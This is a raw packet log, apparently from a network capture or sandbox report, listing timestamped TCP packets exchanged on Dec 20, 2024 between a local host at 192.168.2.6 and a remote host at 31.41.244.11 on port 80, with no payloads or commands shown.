Dec 20, 2024 17:43:31.374912024 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.375730991 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.375780106 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.375889063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.375931978 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.376673937 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.376723051 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.377007961 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.377052069 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.377979994 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.377994061 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.378021955 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.378041983 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.378598928 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.378638983 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.378803015 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.378842115 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.379519939 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.379561901 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.380299091 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.380341053 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.380460978 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.380498886 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.380559921 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.380598068 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.381464005 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.381505966 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.381618023 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.381655931 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.382352114 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.382400036 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.382935047 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.382976055 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.525837898 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.525918961 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.525938988 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.525971889 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.526292086 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.526334047 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.526549101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.526592016 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.527265072 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.527308941 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.527487993 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.527529001 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.528172970 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.528222084 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.529767990 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.529824018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.530268908 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.530311108 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.530512094 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.530524969 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.530558109 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.531301022 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.531343937 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.531434059 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.531476021 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.532147884 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.532195091 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.532445908 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.532490015 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.533127069 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.533171892 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.533387899 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.533431053 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.534115076 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.534158945 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.534213066 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.534250021 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.535016060 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.535059929 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.535228014 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.535274982 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.535972118 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.536016941 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.536297083 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.536339045 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.536883116 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.536925077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.537167072 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.537219048 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.537961006 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.538002968 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.538037062 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.538080931 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.538801908 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.538846016 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.538921118 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.538961887 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.539879084 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.539922953 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.539989948 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.540031910 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.540680885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.540725946 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.540833950 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.540884018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.541723013 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.541769028 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.541842937 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.541886091 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.542589903 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.542632103 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.542711020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.542752981 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.543543100 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.543587923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.543622017 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.543663025 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.544488907 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.544531107 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.544703007 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.544780970 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.545429945 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.545470953 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.545650005 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.545690060 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.546385050 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.546428919 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.546716928 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.546797037 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.547346115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.547389984 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.547873020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.547918081 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.548284054 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.548327923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.548629999 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.548672915 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.549236059 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.549278021 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.549813032 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.549854040 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.550177097 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.550220013 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.550590992 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.550633907 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.551145077 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.551182032 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.551353931 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.551394939 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.552078009 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.552119017 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.552171946 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.552227020 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.553036928 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.553082943 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.553177118 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.553217888 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.553987980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.554032087 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.554142952 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.554188013 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.554986000 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.555030107 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.555164099 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.555222988 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.555982113 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.556027889 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.556143999 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.556185961 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.556807041 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.556849003 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.556987047 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.557029963 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.557769060 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.557806015 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.558041096 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.558079958 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.558712959 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.558752060 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.558909893 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.558947086 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.559679031 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.559722900 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.560264111 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.560307980 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.560596943 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.560642004 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.560673952 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.560710907 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.561566114 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.561609030 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.561700106 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.561745882 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.562489033 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.562532902 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.562695980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.562736034 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.563429117 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.563499928 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.563529968 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.563570023 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.564388990 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.564431906 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.564599037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.564639091 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.565350056 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.565406084 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.565921068 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.566001892 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.566293001 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.566334009 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.566590071 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.566634893 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.567229033 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.567267895 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.567454100 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.567495108 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.568341970 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.568382025 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.568439007 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.568478107 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.569165945 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.569209099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.569272041 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.569329977 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.570105076 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.570143938 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.570204020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.570267916 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.571039915 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.571082115 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.571321964 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.571362019 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.571999073 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.572041988 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.572190046 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.572230101 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.572901011 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.572951078 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.582890034 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.582972050 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.583101988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.583151102 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.583194971 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.583245039 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.583264112 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.583301067 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.584125042 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.584167004 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.584235907 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.584279060 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.585076094 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.585119009 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.585266113 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.585306883 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.718007088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.718071938 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.718072891 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.718112946 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.718439102 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.718483925 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.718631029 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.718676090 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.719156981 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.719207048 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.719643116 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.719686985 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.720180988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.720227003 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.720880985 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.720927000 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.721956968 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.722004890 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.722086906 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.722127914 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.722421885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.722466946 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.722500086 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.722539902 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.723385096 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.723429918 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.723496914 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.723539114 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.724323034 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.724371910 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.724524021 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.724566936 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.725265980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.725311041 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.725367069 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.725408077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.726234913 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.726288080 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.726556063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.726609945 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.727148056 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.727190018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.727257967 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.727299929 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.728135109 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.728178978 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.728200912 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.728243113 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.729069948 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.729115963 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.729207993 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.729250908 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.730017900 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.730066061 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.730221033 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.730262041 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.730946064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.730990887 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.731161118 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.731205940 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.731882095 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.731925011 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.732052088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.732095957 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.732853889 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.732898951 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.732923985 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.732966900 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.733798981 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.733844995 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.734164000 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.734208107 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.734739065 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.734781981 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.734869957 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.734935045 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.735691071 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.735733986 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.735934019 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.735977888 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.736620903 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.736665964 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.736912012 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.736957073 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.737565041 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.737617016 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.737787008 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.737831116 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.738568068 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.738610983 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.738678932 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.738725901 CET	49736	80	192.168.2.6	31.41.244.11
